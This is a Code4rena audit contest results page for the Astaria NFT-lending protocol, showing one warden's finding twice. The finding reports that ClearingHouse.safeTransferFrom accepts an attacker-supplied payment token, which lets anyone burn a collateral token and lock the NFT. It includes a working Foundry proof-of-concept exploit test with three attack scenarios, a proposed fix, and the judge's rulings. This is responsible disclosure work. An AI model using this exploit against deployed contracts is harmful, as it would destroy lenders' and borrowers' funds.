Platform: Code4rena
Start Date: 05/01/2023
Pot Size: $90,500 USDC
Total HM: 55
Participants: 103
Period: 14 days
Judge: Picodes
Total Solo HM: 18
Id: 202
League: ETH
Rank: 30/103
Findings: 2
Award: $430.48
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xcm, 0xsomeone, HE1M, Jeiwan, Koolex, bin2chen, c7e7eff, cergyk, dragotanqueray, evan, ladboy233, synackrst, unforgiven, wallstreetvilkas
33.2422 USDC - $33.24
Judge has assessed an item in Issue #460 as 3 risk. The relevant finding follows:
Lines of code https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L123 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L538 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L528-L530
Vulnerability details Impact The safeTransferFrom() function on the ClearingHouse is normally used when an OpenSea auction successfully ends and the required ERC20/WETH have been transferred to the ClearingHouse.
The clearing house implements its own ERC1155 token which is included in the OpenSeaa auction as a consideration. When the auction concludes a call is made to the ClearingHouse::SafeTransferFrom() function by OpenSea, triggering the further distribution of the ERC20/WETH to both the liquidator and the Vault. The ERC20 accepted as payment for the auction is derived from the identifier of the implemented ERC1155 SafeTransferFrom() function instead of the underlying asset of the vault. This means an attacker can inject the address of any ERC20 contract when calling this function (before the auction successfully ends). A fake WETH contract can be used to emulated the required balance of the clearing house to pass all the validations.
At the end of the TransferFrom() a call is made to the CollateralToken::settleAuction() thereby burning the collateral token making it inaccessible and the NFT locked in the clearing house. Any loan outstanding also cannot be paid back and the the OpenSea auction cannot accept any bids as the collateral token is burnt meaning the lenders will have lost those funds as well. It doesn't seem to be possible for the attacker to steal the NFT from clearing house though.
Additionally a bug in the CollateralToken::settleAuction() check to see if their actually is an auction active for the NFT makes that this attack can be even done from the very start of the loan. This also makes it possible to simply use 1 wei of real WETH instead of having to deploy a fake WETH token thereby actually reducing the cost and effort needed.
Proof of Concept The ClearingHouse::SafeTransferFrom() is a public function that can be called by anyone and doesn't have a requiresAuth modifier.
function safeTransferFrom( address from, // the from is the offerer address to, uint256 identifier, uint256 amount, bytes calldata data //empty from seaport ) public { //data is empty and useless _execute(from, to, identifier, amount); } The _execute() function derives the paymentToken from the encodedMetaData (which is the identifier used in the safeTransferFrom()) This address is then used to further determine if enough funds have been received in case of an actual auction. The same address is used to further distribute the (fake) funds and at the end the CollateralToken::settleAuction() is called.
function _execute( address tokenContract, // collateral token sending the fake nft address to, // buyer uint256 encodedMetaData, //retrieve token address from the encoded data uint256 // space to encode whatever is needed, ) internal { ... address paymentToken = bytes32(encodedMetaData).fromLast20Bytes(); ... uint256 payment = ERC20(paymentToken).balanceOf(address(this)); require(payment >= currentOfferPrice, "not enough funds received");
... ERC20(paymentToken).safeTransfer( s.auctionStack.liquidator, liquidatorPayment ); ERC20(paymentToken).safeApprove( address(ASTARIA_ROUTER.TRANSFER_PROXY()), payment - liquidatorPayment ); ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse( paymentToken, collateralId, payment - liquidatorPayment, s.auctionStack.stack ); if (ERC20(paymentToken).balanceOf(address(this)) > 0) { ERC20(paymentToken).safeTransfer( ASTARIA_ROUTER.COLLATERAL_TOKEN().ownerOf(collateralId), ERC20(paymentToken).balanceOf(address(this)) ); } ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId);
} The CollaterlToken::settleAcution() function checks if there is an auction acive but the if statement also requires that the NFT is not owned by the clearing house anymore. This means that when there is no auction or the auction hasn't concluded yet this check passes. The internal _settleAuction is then called (which deletes the collateralIdToAuction[collateralId] state variable) and associated colalteral token. is finally burnt.
function settleAuction(uint256 collateralId) public { CollateralStorage storage s = _loadCollateralSlot(); if ( s.collateralIdToAuction[collateralId] == bytes32(0) && ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf( s.idToUnderlying[collateralId].tokenId ) != s.clearingHouse[collateralId] ) { revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION); } require(msg.sender == s.clearingHouse[collateralId]); _settleAuction(s, collateralId); delete s.idToUnderlying[collateralId]; _burn(collateralId); } A full working test script with 3 different scenarios (active auction with fake WETH, no auction with fake ETH and no auction with WETH9 ):
import "./TestHelpers.t.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; contract C4Test is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256;
uint256[] lienIds ;
function testBurnCollateralTokenSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });
//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) );
}
function testFailAuctionAfterFakeSettlement() public { address alice = address(1); address bob = address(2); address carol = address(3); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });
//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); //skip to over the expiration of the loan and call liquidate listing the item for sale on OS vm.warp(block.timestamp + 11 days); //Carol initiates the liquidatoin creating the Auction vm.startPrank(carol); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); //Then Alice attacks using safeTransfer() on the clearingHouse using a fake ERC20 token vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1000 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //Auction on OpenSEA doesn't work anymore //ultimately fails with "NOT_MINTED" on LIEN_TOKEN::payDebtViaClearingHouse as the collateraltoken doesn't exist anymore _bid(Bidder(bidder, bidderPK), listedOrder, 10 ether);
}
function testOneWeiSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });
//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); vm.deal(alice, 1 wei); WETH9.deposit{value: 1 wei}(); WETH9.transfer(address(CH), 1 wei); uint256 injected = uint256(uint160(address(WETH9))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) );
} }
#0 - c4-judge
2023-02-27T15:16:04Z
Picodes marked the issue as duplicate of #521
#1 - c4-judge
2023-02-27T15:16:11Z
Picodes marked the issue as satisfactory
🌟 Selected for report: obront
Also found by: KIntern_NA, Koolex, c7e7eff
397.2405 USDC - $397.24
https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L123 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L538 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L528-L530
The safeTransferFrom()
function on the ClearingHouse
is normally used when an OpenSea auction successfully ends and the required ERC20/WETH have been transferred to the ClearingHouse
.
The clearing house implements its own ERC1155 token which is included in the OpenSeaa auction as a consideration. When the auction concludes a call is made to the ClearingHouse::SafeTransferFrom()
function by OpenSea, triggering the further distribution of the ERC20/WETH to both the liquidator and the Vault. The ERC20 accepted as payment for the auction is derived from the identifier of the implemented ERC1155 SafeTransferFrom()
function instead of the underlying asset of the vault. This means an attacker can inject the address of any ERC20 contract when calling this function (before the auction successfully ends). A fake WETH contract can be used to emulated the required balance of the clearing house to pass all the validations.
At the end of the TransferFrom()
a call is made to the CollateralToken::settleAuction()
thereby burning the collateral token making it inaccessible and the NFT locked in the clearing house. Any loan outstanding also cannot be paid back and the the OpenSea auction cannot accept any bids as the collateral token is burnt meaning the lenders will have lost those funds as well.
It doesn't seem to be possible for the attacker to steal the NFT from clearing house though.
Additionally a bug in the CollateralToken::settleAuction()
check to see if their actually is an auction active for the NFT makes that this attack can be even done from the very start of the loan. This also makes it possible to simply use 1 wei of real WETH instead of having to deploy a fake WETH token thereby actually reducing the cost and effort needed.
The ClearingHouse::SafeTransferFrom() is a public function that can be called by anyone and doesn't have a requiresAuth
modifier.
function safeTransferFrom( address from, // the from is the offerer address to, uint256 identifier, uint256 amount, bytes calldata data //empty from seaport ) public { //data is empty and useless _execute(from, to, identifier, amount); }
The _execute()
function derives the paymentToken
from the encodedMetaData
(which is the identifier used in the safeTransferFrom()
)
This address is then used to further determine if enough funds have been received in case of an actual auction.
The same address is used to further distribute the (fake) funds and at the end the CollateralToken::settleAuction()
is called.
function _execute( address tokenContract, // collateral token sending the fake nft address to, // buyer uint256 encodedMetaData, //retrieve token address from the encoded data uint256 // space to encode whatever is needed, ) internal { ... address paymentToken = bytes32(encodedMetaData).fromLast20Bytes(); ... uint256 payment = ERC20(paymentToken).balanceOf(address(this)); require(payment >= currentOfferPrice, "not enough funds received"); ... ERC20(paymentToken).safeTransfer( s.auctionStack.liquidator, liquidatorPayment ); ERC20(paymentToken).safeApprove( address(ASTARIA_ROUTER.TRANSFER_PROXY()), payment - liquidatorPayment ); ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse( paymentToken, collateralId, payment - liquidatorPayment, s.auctionStack.stack ); if (ERC20(paymentToken).balanceOf(address(this)) > 0) { ERC20(paymentToken).safeTransfer( ASTARIA_ROUTER.COLLATERAL_TOKEN().ownerOf(collateralId), ERC20(paymentToken).balanceOf(address(this)) ); } ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId); }
The CollaterlToken::settleAcution()
function checks if there is an auction acive but the if
statement also requires that the NFT is not owned by the clearing house anymore.
This means that when there is no auction or the auction hasn't concluded yet this check passes.
The internal _settleAuction
is then called (which deletes the collateralIdToAuction[collateralId]
state variable) and associated colalteral token. is finally burnt.
function settleAuction(uint256 collateralId) public { CollateralStorage storage s = _loadCollateralSlot(); if ( s.collateralIdToAuction[collateralId] == bytes32(0) && ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf( s.idToUnderlying[collateralId].tokenId ) != s.clearingHouse[collateralId] ) { revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION); } require(msg.sender == s.clearingHouse[collateralId]); _settleAuction(s, collateralId); delete s.idToUnderlying[collateralId]; _burn(collateralId); }
A full working test script with 3 different scenarios (active auction with fake WETH, no auction with fake ETH and no auction with WETH9 ):
import "./TestHelpers.t.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; contract C4Test is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; uint256[] lienIds ; function testBurnCollateralTokenSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); //Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); } function testFailAuctionAfterFakeSettlement() public { address alice = address(1); address bob = address(2); address carol = address(3); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); //Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); //skip to over the expiration of the loan and call liquidate listing the item for sale on OS vm.warp(block.timestamp + 11 days); //Carol initiates the liquidatoin creating the Auction vm.startPrank(carol); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); //Then Alice attacks using safeTransfer() on the clearingHouse using a fake ERC20 token vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1000 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //Auction on OpenSEA doesn't work anymore //ultimately fails with "NOT_MINTED" on LIEN_TOKEN::payDebtViaClearingHouse as the collateraltoken doesn't exist anymore _bid(Bidder(bidder, bidderPK), listedOrder, 10 ether); } function testOneWeiSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); //Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); vm.deal(alice, 1 wei); WETH9.deposit{value: 1 wei}(); WETH9.transfer(address(CH), 1 wei); uint256 injected = uint256(uint160(address(WETH9))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); } }
Manual review, forge test.
First the payment token address should not be taken from the input but simply form state (probably most obvious is the vault's underlying asset unless there are plans to open this up to other tokens)
Second the active auction check should be changed to revert when either there is noe auction or the clearing house is still owner of the NFT.
function settleAuction(uint256 collateralId) public { CollateralStorage storage s = _loadCollateralSlot(); if ( -- s.collateralIdToAuction[collateralId] == bytes32(0) && ++ s.collateralIdToAuction[collateralId] == bytes32(0) || ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf( s.idToUnderlying[collateralId].tokenId ) != s.clearingHouse[collateralId] ) { revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION); } ... }
#0 - c4-judge
2023-01-24T07:47:56Z
Picodes marked the issue as duplicate of #564
#1 - c4-judge
2023-02-15T07:29:56Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-02-23T21:03:28Z
Picodes changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-02-24T10:37:08Z
This previously downgraded issue has been upgraded by Picodes
#4 - c4-judge
2023-02-24T10:39:31Z
Picodes marked the issue as not a duplicate
#5 - c4-judge
2023-02-24T10:40:30Z
Picodes marked the issue as duplicate of #521
#6 - c4-judge
2023-02-27T15:14:28Z
Picodes marked the issue as not a duplicate
#7 - c4-judge
2023-02-27T15:14:41Z
Picodes changed the severity to QA (Quality Assurance)
#8 - c4-judge
2023-02-27T15:15:35Z
This previously downgraded issue has been upgraded by Picodes
#9 - c4-judge
2023-02-27T15:15:35Z
This previously downgraded issue has been upgraded by Picodes
#10 - c4-judge
2023-02-27T15:15:53Z
Picodes marked the issue as duplicate of #287